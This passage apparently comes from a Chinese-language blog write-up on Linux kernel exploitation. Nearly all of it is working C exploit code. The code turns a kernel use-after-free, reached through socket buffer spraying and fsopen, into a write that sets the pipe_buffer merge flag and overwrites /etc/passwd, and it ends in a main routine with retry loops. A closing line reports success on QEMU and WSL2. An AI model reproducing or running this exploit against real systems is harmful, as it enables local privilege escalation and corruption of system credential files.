for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r;
write(dummy_pipe[i][1], tmp_buff, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r;
read(dummy_pipe[i][0], tmp_buff, n);
r -= n;
}

write(dummy_pipe[i][1], buff, 0x100 + i);

loff_t offset = 1;
ssize_t nbytes = splice(passwd, &offset, dummy_pipe[i][1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
die();
}
}

logd("[*] free skbuff_data to make pipe_buffer become UAF\n");
int uaf_pipe_idx = 0;
char pipe_buffer_backup[0x280];
int PIPE_BUF_FLAG_CAN_MERGE = 0x10;
{
void *ptr = buff;
uint64_t size = 0x400 - 0x140;
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(sock_pairs[i][1], ptr, size) < 0) {
logd("[-] read from sock pairs failed\n");
die();
}
uint32_t test_size = ((uint32_t *)ptr)[3];
if ((test_size >= 0x100) && (test_size < 0x100 + NUM_PIPES)) {
uaf_pipe_idx = test_size - 0x100;
logd("[*] uaf_pipe_idx: %d\n", uaf_pipe_idx);
memcpy(pipe_buffer_backup, ptr, 0x280);
}
}
}
}

logd("[*] edit pipe_buffer->flags\n");
{
memset(buff, 0, sizeof(buff));
memcpy(buff, pipe_buffer_backup, 0x280);
((uint64_t *)buff)[6] = 0; // offset | len
((uint64_t *)buff)[8] = PIPE_BUF_FLAG_CAN_MERGE; // flag
spray_skbuff_data(buff, 0x400 - 0x140);
}

logd("[*] try to overwrite /etc/passwd\n");
{
ssize_t nbytes = write(dummy_pipe[uaf_pipe_idx][1], "AAAA", 4);
if (nbytes < 0) {
perror("write failed");
die();
}
if ((size_t)nbytes < 2) {
fprintf(stderr, "short write\n");
die();
}
}

logd("[*] see if /etc/passwd changed\n");
system("cat /etc/passwd");
logd("[+] exploit success\n");
return 0;
}

int main(void) {
int sync_pipe[2];
pipe(sync_pipe);

pid_t pid = fork();
if (!pid) {
logd("[+] perform initialization\n");
init_unshare();
bind_cpu();
init_msq();
init_sock();

int fd;

fd = call_fsopen();
logd("[+] perform exploit step1\n");
while (exploit_step1(fd)) {
logd("[!] retry step1 ...\n");

close(fd);
fd = call_fsopen();
}

fd = call_fsopen();
logd("[+] perform exploit step2\n");
while (exploit_step2(fd)) {
logd("[!] retry step2 ...\n");

close(fd);
fd = call_fsopen();
}

write(sync_pipe[1], "A", 1);
while (1) {
sleep(10);
}
} else {
char sync;
read(sync_pipe[0], &sync, 1);
}

return 0;
}

可以看到,同一份exp在qemu和wsl2中都能利用成功(注意/etc/passwd的前4字节被改成了AAAA)。

参考